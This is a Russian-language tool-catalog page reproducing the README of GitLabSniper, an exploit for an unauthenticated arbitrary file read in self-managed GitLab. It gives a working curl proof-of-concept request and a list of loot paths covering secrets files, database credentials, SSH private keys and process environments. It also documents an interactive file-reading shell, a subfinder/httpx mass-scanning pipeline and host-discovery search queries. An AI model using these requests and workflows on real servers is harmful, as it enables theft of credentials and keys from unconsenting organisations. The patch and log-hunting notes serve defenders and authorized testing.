Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
GitLabSniper — Однофайловый сканер и эксплойт на Python для CVE-2026-85706 — неаутентифицированного произвольного чтения файлов в self-managed GitLab CE/EE, с перечислением проектов, путями для сбора данных и интерактивной оболочкой. | Kitploit
Инструменты/GitHubGitHub/ynsmroztas/gitlabsniper
РазведкаСканеры уязвимостейЭксплуатацияСкриптинг и автоматизацияЭксплуатация веб-приложенийЭксфильтрация данныхСбор информацииВеб-безопасностьТестирование на Проникновение
GitHubynsmroztas/gitlabsniper

GitLabSniper

Однофайловый сканер и эксплойт на Python для CVE-2026-85706 — неаутентифицированного произвольного чтения файлов в self-managed GitLab CE/EE, с перечислением проектов, путями для сбора данных и интерактивной оболочкой.

216 ч 46 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Репозиторий
Поделиться

GitLabSniper — CVE-2026-85706 unauthenticated file read pipeline

GitLabSniper

CVE-2026-85706 — неаутентифицированное чтение произвольных файлов в GitLab CE/EE
обнаружение · перечисление публичных проектов · сбор данных · интерактивная оболочка · конвейер subfinder/httpx


Автор: Yunus Emre Öztaş (mitsec)
X: x.com/ynsmroztas
GitHub: github.com/ynsmroztas
Сайт: ynsmroztas.github.io
Почта: [email protected]

Используйте только на системах, которыми вы владеете или на которые у вас есть явное разрешение на тестирование (bug bounty / VDP / письменный договор).


Что это такое

GitLabSniper.py — это однофайловый сканер/эксплойт на Python для CVE-2026-85706: неаутентифицированное чтение локальных файлов в самостоятельно размещённых GitLab Community Edition и Enterprise Edition.

Он не останавливается на «версия выглядит уязвимой». Он запускает обход парсерного расхождения Workhorse, классифицирует ответ Rails и выводит FILE LEAK только тогда, когда тело ответа 400 содержит байты файла внутри invalid %-encoding (...).

ДиапазонВерсии
Уязвимы18.7 – 19.1.7 · 19.2.0 – 19.2.5 · 19.3.0 – 19.3.1
Исправлены19.1.8 / 19.2.6 / 19.3.2 (2026-09-10)
Вне областиgitlab.com · GitLab Dedicated

Как работает уязвимость

Три эндпоинта репозитория находятся за Workhorse requestBodyUploader:

  • POST /api/v4/projects/:id/repository/commits
  • POST /api/v4/projects/:id/repository/files/:file_path
  • PUT /api/v4/projects/:id/repository/files/:file_path

Rails берёт необработанное поле file.path и выполняет File.open до authenticate!. require_gitlab_workhorse! здесь не является реальным барьером: Workhorse уже проставляет валидный JWT Gitlab-Workhorse-Api-Request на всё, что проксирует.

Workhorse должен был сначала переписать загрузку. Его regex маршрута сопоставляется с EscapedPath() и клоном path.Clean, который никогда не выполняет percent-декодирование. Puma выполняет декодирование %XX перед маршрутизацией Grape.

root@kitploit:~
Attacker
  POST /api/v4/projects/35/repository/%63ommits
  POST /api/v4/projects/35/repository/commits/          ← завершающий слэш тоже проходит
       ?file=&file.path=/etc/passwd&file.size=1
       &Content-Type=application/x-www-form-urlencoded
        │
        ▼
Workhorse     regex видит "%63ommits" / "commits/"  → ПРОМАХ  (без перезаписи)
        │
        ▼
Puma          декодирует %63 → commits                 → МАРШРУТИЗИРУЕТ в Rails
        │
        ▼
Rails         File.open(params[:file][:path])       → ДО аутентификации
        │
        ▼
Rack          parse_nested_query(File.read(path))
              одиночный "%", не являющийся %HH
        │
        ▼
HTTP 400      Invalid parameter: invalid %-encoding (<сырые байты файла>)

Пустой file= удовлетворяет requires :file, WorkhorseFile (пустое → nil). Канал утечки — ветка urlencoded. JSON/Oj не отражает байты файла таким же образом — инструмент всегда отправляет Content-Type=application/x-www-form-urlencoded.

//, /./, %2F и ; не обходят защиту: path.Clean нормализует первые два, а Puma отклоняет %2F.

Идентификатор проекта — это не «из какого репозитория красть файлы». file.path — это абсолютный путь на сервере. Идентификатор — лишь часть URL, которая достигает уязвимого контроллера.

Именно поэтому инструмент перечисляет GET /api/v4/projects и пропускает закрытые id.

Подтверждённая утечка требует наличия этой подстроки в теле:

root@kitploit:~
invalid %-encoding (

Файлы без одиночного % всё ещё могут быть открыты (read-noecho / позже branch is required), но не будут отражены. Это оракул, а не дамп, пригодный для отчёта.


Возможности

  • Фингерпринт GitLab (HTML / x-gitlab-* / sign-in) + диапазон версий, когда виден
  • Перечисление публичных проектов (GET /api/v4/projects)
  • Автоматический выбор незакрытого id проекта (запасной вариант 1..7)
  • Матрица обхода Workhorse
    • %63ommits · %72epository · %66iles
    • завершающий / · .json
    • POST + PUT на files
  • Классификатор ответов: leak · leak-fragment · read-noecho · missing · project-gate · rewrite ·

Установка

root@kitploit:~
pip install requests
python3 GitLabSniper.py -h

Python 3.10+. Других зависимостей нет.


Использование

Один хост

root@kitploit:~
python3 GitLabSniper.py -u https://gitlab.example.com --auto
python3 GitLabSniper.py -u https://gitlab.example.com --auto --shell
python3 GitLabSniper.py -u https://gitlab.example.com --file /etc/gitlab/gitlab-secrets.json
python3 GitLabSniper.py -u https://gitlab.example.com --project-id 35 --auto

Интерактивная оболочка

root@kitploit:~
python3 GitLabSniper.py -u https://gitlab.example.com --shell
root@kitploit:~
[email protected]> help
[email protected]> cat /etc/passwd
[email protected]> secrets
[email protected]> loot
[email protected]> project 35
[email protected]> curl /etc/gitlab/gitlab.rb
[email protected]> exit

Конвейер (subfinder + httpx)

root@kitploit:~
subfinder -d example.com -silent \
  | httpx -silent -sc -td -title \
  | python3 GitLabSniper.py --pipe --auto -o hits.jsonl

subfinder -d example.com -silent \
  | httpx -silent -json \
  | python3 GitLabSniper.py --pipe --auto -q -o hits.jsonl

# stdin не является TTY → --pipe подразумевается
cat hosts.txt | python3 GitLabSniper.py --auto

Парсер принимает:

  • https://gitlab.example.com
  • https://gitlab.example.com [200] [GitLab] [nginx]
  • объекты httpx -json (url / status_code)
  • голый host и host:port
  • пропускает строки [0] / timeout / пустые

Флаги

Коды выхода: 0 утечка · 1 только оракул / нет утечки в конвейере · 2 нет пригодного сигнала.


Вердикты

Не подавайте отчёт о критической уязвимости, основываясь только на read-noecho.


Пути добычи по умолчанию

root@kitploit:~
/etc/hostname
/etc/passwd
/etc/os-release
/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
/opt/gitlab/embedded/service/gitlab-rails/config/gitlab.yml
/opt/gitlab/embedded/service/gitlab-rails/config/database.yml
/etc/gitlab/gitlab-secrets.json
/etc/gitlab/gitlab.rb
/var/opt/gitlab/gitlab-rails/etc/secrets.yml
/opt/gitlab/embedded/service/gitlab-rails/config/initializers/secret_token.rb
/root/.ssh/id_rsa
/var/opt/gitlab/.ssh/id_rsa
/proc/self/environ

Наибольшее воздействие при их отражении: secrets.yml, gitlab-secrets.json, database.yml (secret_key_base, otp_key_base, пароль БД).


Ручной PoC (тот же запрос, что отправляет инструмент)

root@kitploit:~
curl -sk -X POST \
  "https://gitlab.example.com/api/v4/projects/35/repository/commits/?file=&file.path=%2Fopt%2Fgitlab%2Fembedded%2Fservice%2Fgitlab-rails%2Fconfig%2Fgitlab.yml&file.size=1&Content-Type=application/x-www-form-urlencoded"

Уязвимый экземпляр возвращает JSON, похожий на:

root@kitploit:~
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (## GitLab settings\n  gitlab:\n    host: gitlab.example.com\n ... )"}

На некоторых хостах %63ommits даёт 401, а /repository/commits/ (с завершающим слэшем) — это форма, которая приводит к утечке. Инструмент перебирает все варианты.


Помощники для разведки

root@kitploit:~
http.html:"GitLab" http.status:200
http.html:"Sign in · GitLab"
ssl:"gitlab" port:443
"X-Gitlab-"

Сочетайте с subfinder | httpx | GitLabSniper.py --pipe --auto.


Отказ от ответственности

Этот репозиторий предназначен для авторизованного тестирования безопасности и защитной проверки после установки патчей. Вы несёте ответственность за соблюдение области работ.

Если вы эксплуатируете самостоятельно размещённый GitLab в уязвимом диапазоне: немедленно обновитесь до 19.1.8 / 19.2.6 / 19.3.2. Ищите в логах доступа POST /api/v4/projects/*/repository/commits с параметром запроса file.path.


Благодарности

Уязвимость сообщена s3ntago через GitLab HackerOne.

Write-up и оригинальный PoC, на котором построен этот инструмент:

https://github.com/guneykabel/cve-2026-85706

Спасибо guneykabel за публикацию чёткого классификатора (leak / missing / project-gate / rewrite) и объяснение расхождения Workhorse ↔ Puma. GitLabSniper оборачивает эту модель перечислением проектов, добычей, оболочкой и конвейерами разведки.

Рекомендации/патчи GitLab: CE/EE 19.1.8, 19.2.6, 19.3.2.


Автор

Yunus Emre Öztaş · mitsec

  • X — x.com/ynsmroztas
  • GitHub — github.com/ynsmroztas
  • Web — ynsmroztas.github.io
  • Mail — [email protected]
Скачать инструмент
ЭндпоинтТребование к проекту
files (%66iles)Часто подходит любой id — File.open выполняется до проверок проекта
commits (%63ommits, commits/, commits.json)Нужен проект, к которому анонимный пользователь может read_code. Иначе 404 Project Not Found
noroute
  • Список добычи --auto (hostname, passwd, secrets.yml, gitlab-secrets.json, gitlab.rb, database.yml, ssh-ключи, environ)
  • Закрепление рабочей формы после первой утечки
  • Интерактивная оболочка (cat, loot, secrets, passwd, project <id>, curl)
  • Конвейер: сырые хосты, httpx -sc -td -title, httpx -json, удаление ANSI
  • Отчёт JSON / JSONL (-o)
  • Цветной баннер HIT + готовый к вставке curl PoC
  • ФлагЗначение
    -u / -t / --targetОдин базовый URL
    --pipeЧитать цели из stdin
    -f / --listФайл со списком хостов
    --fileОдин абсолютный путь для чтения
    --auto / --lootСписок ценных файлов GitLab
    --shellИнтерактивная оболочка чтения файлов
    --project-idПринудительно задать id проекта (по умолчанию: перечисление + запасной вариант)
    --max-projectsОграничить количество id при перечислении/запасном варианте (по умолчанию 8)
    --forceСканировать даже при слабом фингерпринте
    --threadsВоркеры конвейера (по умолчанию 8)
    --timeoutСекунды (по умолчанию 15)
    -ohits.json или hits.jsonl
    -qТихий режим
    --no-bannerБез баннера
    ТегЗначениеОтчёт?
    leakinvalid %-encoding ( + байты файлаДа — подтверждено
    leak-fragmentЧастичное отражениеВозможно, приложите тело
    read-noecho401 / branch is required после открытия, нет % в файлеТолько оракул
    missinglocal file not present — обход достиг дискаОракул существования
    project-gate404 Project Not FoundПопробуйте другой публичный id
    rewriteWorkhorse перезаписал тело (Invalid json)Эта форма мертва
    norouteОбычный 404Исправлено или неверный путь
    other500 / остатокСначала выгрузите тело, прежде чем заявлять